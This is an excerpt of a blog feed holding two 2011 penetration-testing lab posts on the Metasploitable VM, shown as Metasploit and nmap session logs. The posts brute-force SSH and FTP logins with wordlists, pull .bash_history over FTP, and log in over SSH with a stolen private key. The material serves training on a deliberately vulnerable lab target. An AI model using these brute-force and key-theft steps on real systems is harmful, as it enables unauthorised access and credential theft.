sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;B.&amp;nbsp;22/tcp &amp;nbsp; open &amp;nbsp;ssh &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Time to explore SSH service on the target.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Let's start with service version scan using metasploit auxiliary module.&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;msf  auxiliary(ssh_version) &amp;gt;&lt;br /&gt;Module options (&lt;b&gt;auxiliary/scanner/ssh/ssh_version&lt;/b&gt;):&lt;br /&gt;set RHOSTS 172.72.5.143&lt;br /&gt;run&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;[*] 172.72.5.143:22, SSH server version: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1&lt;/span&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;From &lt;a href="http://ipositivesecurity.blogspot.com/2011/08/metasploitable-exploring-ftp-service.html"&gt;exploring FTP service&lt;/a&gt;, we had already identified 4 user names - user, postgres, service and msfadmin. We should now try to brute force ssh passwords for these users.&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;Metasploit module --&amp;gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;b&gt;auxiliary/scanner/ssh/ssh_login&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;msf  auxiliary(ssh_login) &amp;gt; set RHOSTS 172.72.5.143&lt;br /&gt;RHOSTS =&amp;gt; 172.72.5.143&lt;br /&gt;msf  auxiliary(ssh_login) &amp;gt; set USER_FILE /tmp/users&lt;br /&gt;USER_FILE =&amp;gt; /tmp/users&lt;br /&gt;msf  auxiliary(ssh_login) &amp;gt; set PASS_FILE /tmp/pass&lt;br /&gt;PASS_FILE =&amp;gt; /tmp/pass&lt;br /&gt;msf  auxiliary(ssh_login) &amp;gt; run&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;[*] 172.72.5.143:22 SSH - [05/20] - Trying: username: 'user' with password: 'user'&lt;br /&gt;[*] Command shell session 2 opened (172.72.5.1:33210 -&amp;gt; 172.72.5.143:22) at 2011-08-25 03:59:56 +0530&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;[+] 172.72.5.143:22 SSH - [05/20] - Success: 'user':'user' 'uid=1001(user) gid=1001(user) groups=1001(user) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '&lt;/span&gt;[*] 172.72.5.143:22 SSH - [06/20] - Trying: username: 'msfadmin' with password: 'msfadmin'&lt;br /&gt;[*] Command shell session 3 opened (172.72.5.1:58888 -&amp;gt; 172.72.5.143:22) at 2011-08-25 03:59:56 +0530&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;[+] 172.72.5.143:22 SSH - [06/20] - Success: 'msfadmin':'msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '&lt;/span&gt;[*] 172.72.5.143:22 SSH - [07/20] - Trying: username: 'postgres' with password: 'postgres'&lt;br /&gt;[*] Command shell session 4 opened (172.72.5.1:56421 -&amp;gt; 172.72.5.143:22) at 2011-08-25 04:00:01 +0530&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;[+] 172.72.5.143:22 SSH - [07/20] - Success: 'postgres':'postgres' 'uid=108(postgres) gid=117(postgres) groups=114(ssl-cert),117(postgres) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '&lt;/span&gt;[*] 172.72.5.143:22 SSH - [08/20] - Trying: username: 'service' with password: 'service'&lt;br /&gt;[*] Command shell session 5 opened (172.72.5.1:40998 -&amp;gt; 172.72.5.143:22) at 2011-08-25 04:00:02 +0530&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;[+] 172.72.5.143:22 SSH - [08/20] - Success: 'service':'service' 'uid=1002(service) gid=1002(service) groups=1002(service) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Assuming in case the passwords followed best security practices and were not present in our dictionary files either, then what could have we done here to gain ssh access to target?&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Remember, when we were &lt;a href="http://ipositivesecurity.blogspot.com/2011/08/metasploitable-exploring-ftp-service.html"&gt;exploring FTP service&lt;/a&gt;, we had noticed in&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;.bash_history file, that user ssh key is an authorized key at the ssh server. So if public key authentication has been configured correctly, then '&lt;i&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;msfadmin&lt;/span&gt;&lt;/i&gt;' should be able to ssh into the target directly using the private key. We will not need the password at all.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;blockquote style="font-family: 'Times New Roman';"&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;root@victor:tmp# cat bash_history-user&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;ssh-keygen -t dsa&lt;br /&gt;sudo cat ~/.ssh/id_dsa.pub &amp;gt;&amp;gt; /home/&lt;span class="Apple-style-span" style="color: lime;"&gt;msfadmin&lt;/span&gt;/.ssh/authorized_keys&lt;br /&gt;sudo -s&lt;br /&gt;exit&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div style="font-family: 'Times New Roman'; text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;The following command is used to successfully login with the private key:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote style="font-family: 'Times New Roman';"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;ssh -i id_dsa msfadmin@172.72.5.143&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Also, Metasploit has a module which automates and confirms this for us.&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;msf  auxiliary(&lt;span class="Apple-style-span" style="color: red;"&gt;ssh_login_pubkey&lt;/span&gt;) &amp;gt; run&lt;br /&gt;[*] 172.72.5.143:22 SSH - Testing Cleartext Keys&lt;br /&gt;[*] 172.72.5.143:22 SSH - Trying 1 cleartext key per user.&lt;br /&gt;[*] Command shell session 2 opened (172.72.5.1:44867 -&amp;gt; 172.72.5.143:22) at 2011-08-27 06:34:12 +0530&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;[+] 172.72.5.143:22 SSH - Success: 'msfadmin':'70:ff:0f:ff:a3:8e:39:18:d7:30:c1:30:02:bc:20:3c' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '&lt;/span&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;msf  auxiliary(ssh_login_pubkey) &amp;gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Ideally, we will first attempt to remotely exploit the network service, SSH in this case. This is normally the approach, if SSH service version found on target has vulnerabilities and knowledge, skill to exploit is available. It will usually provide us with privileged access. Anyhow, in our scenario, it seems all we have are these 4 non-root user accounts. Never the less, we can move around in the file system, perform further enum, data collection etc. For attempting to raise local user privilege, get the target kernel version with a '&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;uname -a&lt;/b&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;' and identify a local priv escalation exploit for the kernel - either in metasploit or from exploit-db. Also check out packetstorm / secunia, &amp;amp; Google.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="color: #ffd966; font-family: Verdana, sans-serif; font-size: x-small;"&gt;In a pentest, though, it is recommended to use exploits that have been tested for 'legit-ness' - if I can phrase it that way - and performance. If taken from some random site over the internet and / or without carefully monitoring the behavior of the exploit in the lab, you may not be able to catch that quick call going out to some server in a rogue country or elsewhere, i.e. to say the exploit itself is backdoored. And you may not come to know of it unless you read the code, test it in lab, monitor it for connection attempts, file system changes &amp;amp; the likes. And running it in customer network may seriously compromise the org security. Another aspect is verifying the performance of an exploit. Many exploits hook into and utilize critical OS processes / files to leverage elevated access. It is a high possibility that a new, untested exploit code crashes the target server as soon as you run it. The damage can be controlled with as soon as a single reboot or can get as complicated as device failure &amp;amp; fresh install. Trust me, this happens at times &amp;amp; your customer will not be pleased, to say the least.&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Next up --&amp;gt; &lt;b&gt;Exploring SMTP service&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-7014222014739417123?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/7014222014739417123/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/08/metasploitable-exploring-ssh-service.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/7014222014739417123'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/7014222014739417123'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/08/metasploitable-exploring-ssh-service.html' title='Metasploitable - Exploring SSH service'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-1786344265667063634</id><published>2011-08-27T04:51:00.001+05:30</published><updated>2011-08-27T06:53:59.183+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='metasploitable'/><category scheme='http://www.blogger.com/atom/ns#' term='Penetration Testing'/><category scheme='http://www.blogger.com/atom/ns#' term='proftpd'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><title type='text'>Metasploitable - Exploring FTP service</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;root@victor:msf3# ./msfconsole&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;, &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&amp;nbsp; &amp;nbsp; / &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; \&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&amp;nbsp; &amp;nbsp;((_---,,,---_))&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; (_)O O(_)_________&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\ _ / &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; o_o \ &amp;nbsp; M S F &amp;nbsp; | \&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\ &amp;nbsp; _____ &amp;nbsp;| &amp;nbsp;*&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ||| &amp;nbsp; WW|||&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ||| &amp;nbsp; &amp;nbsp; |||&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="color: cyan; font-family: Verdana, sans-serif;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;=[ metasploit v4.0.1-dev [core:4.0 api:1.0]&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: cyan; font-family: Verdana, sans-serif; font-size: x-small;"&gt;+ -- --=[ 727 exploits - 372 auxiliary - 78 post&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: cyan; font-family: Verdana, sans-serif; font-size: x-small;"&gt;+ -- --=[ 227 payloads - 27 encoders - 8 nops&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: cyan; font-family: Verdana, sans-serif; font-size: x-small;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;=[ svn r13625 updated today (2011.08.24)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;msf &amp;gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;We start with identifying any live hosts by doing a nmap ping scan.&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;msf &amp;gt; nmap -sP 172.72.5.2-254&lt;br /&gt;[*] exec: nmap -sP 172.72.5.2-254&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;Starting Nmap 5.21 ( http://nmap.org ) at 2011-08-25 03:04 IST&lt;br /&gt;Nmap scan report for &lt;span class="Apple-style-span" style="color: red;"&gt;172.72.5.143&lt;/span&gt;&lt;br /&gt;Host is up (0.00042s latency).&lt;br /&gt;MAC Address: 00:0C:29:8D:8D:A4 (VMware)&lt;br /&gt;Nmap scan report for 172.72.5.254&lt;br /&gt;Host is up (0.00019s latency).&lt;br /&gt;MAC Address: 00:50:56:FD:82:EC (VMware)&lt;br /&gt;Nmap done: 253 IP addresses (2 hosts up) scanned in 5.06 seconds&lt;br /&gt;msf &amp;gt; &lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;We find our target metasploitable system with IP 172.72.5.143. Let's gather information on services&amp;nbsp;running in the target.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;sV -&amp;gt; probe open ports to identify service / version info&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;sT -&amp;gt; TCP Connect scan. Perform a 3-way TCP handshake. can take time but very reliable&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="color: #cfe2f3;"&gt;msf &amp;gt; nmap -sV -sT 172.72.5.143&lt;/span&gt;&lt;br /&gt;[*] exec: nmap -sV -sT 172.72.5.143&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;Starting Nmap 5.21 ( http://nmap.org ) at 2011-08-25 03:07 IST&lt;br /&gt;Nmap scan report for 172.72.5.143&lt;br /&gt;Host is up (0.00043s latency).&lt;br /&gt;Not shown: 988 closed ports&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;PORT     STATE SERVICE     VERSION&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #cfe2f3;"&gt;21/tcp   open  ftp         ProFTPD 1.3.1&lt;br /&gt;22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)&lt;br /&gt;23/tcp   open  telnet      Linux telnetd&lt;br /&gt;25/tcp   open  smtp        Postfix smtpd&lt;br /&gt;53/tcp   open  domain      ISC BIND 9.4.2&lt;br /&gt;80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)&lt;br /&gt;139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)&lt;br /&gt;445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)&lt;br /&gt;3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5&lt;br /&gt;5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7&lt;br /&gt;8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)&lt;br /&gt;8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: #cfe2f3;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: #cfe2f3; font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;Service Info: Host:  metasploitable.localdomain; OSs: Unix, Linux&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Service detection performed. Please report any incorrect results at http://nmap.org/submit/.&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;Nmap done: 1 IP address (1 host up) scanned in 11.72 seconds&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;We will explore these services one by one and see what we can find with each.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;1.&amp;nbsp;&lt;b&gt;21/tcp open ftp ProFTPD 1.3.1&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Metasploit auxiliary module -&amp;gt;&amp;nbsp;&lt;u&gt;auxiliary/scanner/ftp/ftp_login&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;u&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;set PASS_FILE /opt/metasploit_open/msf3/data/wordlists/unix_passwords.txt&lt;/span&gt;&lt;/div&gt;&lt;div style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;set USER_FILE /opt/metasploit_open/msf3/data/wordlists/unix_users.txt&lt;/span&gt;&lt;/div&gt;&lt;div style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;setg RHOSTS 172.72.5.143&lt;/span&gt;&lt;/div&gt;&lt;div style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;run&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: lime; font-family: Verdana, sans-serif; font-size: x-small;"&gt;[+] 172.72.5.143:21 - Successful FTP login for 'postgres':'postgres'&lt;br /&gt;[*] 172.72.5.143:21 - User 'postgres' has READ/WRITE access&lt;br /&gt;[+] 172.72.5.143:21 - Successful FTP login for 'service':'service'&lt;br /&gt;[*] 172.72.5.143:21 - User 'service' has READ/WRITE access&lt;br /&gt;[+] 172.72.5.143:21 - Successful FTP login for 'user':'user'&lt;br /&gt;[*] 172.72.5.143:21 - User 'user' has READ/WRITE access&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;We have 3 ftp login credentials now. Let's use these IDs to login to the target.&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: #cfe2f3; font-family: Verdana, sans-serif; font-size: x-small;"&gt;root@victor:tmp# ftp 172.72.5.143&lt;br /&gt;Connected to 172.72.5.143.&lt;br /&gt;220 ProFTPD 1.3.1 Server (Debian) [::ffff:172.72.5.143]&lt;br /&gt;Name (172.72.5.143:victor): user&lt;br /&gt;331 Password required for user&lt;br /&gt;Password:&lt;br /&gt;230 User user logged in&lt;br /&gt;Remote system type is UNIX.&lt;br /&gt;Using binary mode to transfer files.&lt;br /&gt;ftp&amp;gt; ls -lat&lt;br /&gt;200 PORT command successful&lt;br /&gt;150 Opening ASCII mode data connection for file list&lt;br /&gt;drwxr-xr-x   3 user     user         4096 Aug 24 21:59 .&lt;br /&gt;-rw-------   1 user     user          165 May  7  2010 .bash_history&lt;br /&gt;drwx------   2 user     user         4096 May  7  2010 .ssh&lt;br /&gt;drwxr-xr-x   6 root     root         4096 Apr 16  2010 ..&lt;br /&gt;-rw-r--r--   1 user     user          220 Mar 31  2010 .bash_logout&lt;br /&gt;-rw-r--r--   1 user     user         2928 Mar 31  2010 .bashrc&lt;br /&gt;-rw-r--r--   1 user     user          586 Mar 31  2010 .profile&lt;br /&gt;226 Transfer complete&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="color: #ffd966; font-family: Verdana, sans-serif; font-size: x-small;"&gt;.bash_history keeps a history of commands a user has run. Many a times in pentests, I've found useful info on targets, as user ID, passwords, confidential file names, locations, important server names, shared resources etc in this little file.&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;I will download this file.&lt;/span&gt;&lt;/div&gt;&lt;blockquote style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="color: #ffd966; font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Remember Information Gathering is a continuous, on-going phase during a penetration test. You will build upon the collected information to leverage access into the target environment.&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;ftp&amp;gt; get .bash_history&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;local: .bash_history remote: .bash_history&lt;br /&gt;200 PORT command successful&lt;br /&gt;150 Opening BINARY mode data connection for .bash_history (165 bytes)&lt;br /&gt;226 Transfer complete&lt;br /&gt;165 bytes received in 0.00 secs (41.6 kB/s)&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;There is also a .ssh directory. Checking it tells us the presence of public &amp;amp; private ssh keys of the 'user'.&lt;/span&gt;&lt;br /&gt;&lt;blockquote style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="color: #ffd966; font-family: Verdana, sans-serif; font-size: x-small;"&gt;In a pentest, you may come across a scenario where SSH is permitted for device / server administration but passwords are not used. Instead, public key authentication is configured. This means, if you can obtain ssh keys of a [ privileged ] user, then you can gain straight access to the resources without the need of knowing login password. Also, in certain environments, access and security is tied to trusts. Once you can impersonate a 'trusted' / authorized user, gaining access to other juicy resources is a piece of cake.&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;We go into the .ssh directory and see there is the key pair. Private key is what we will need. 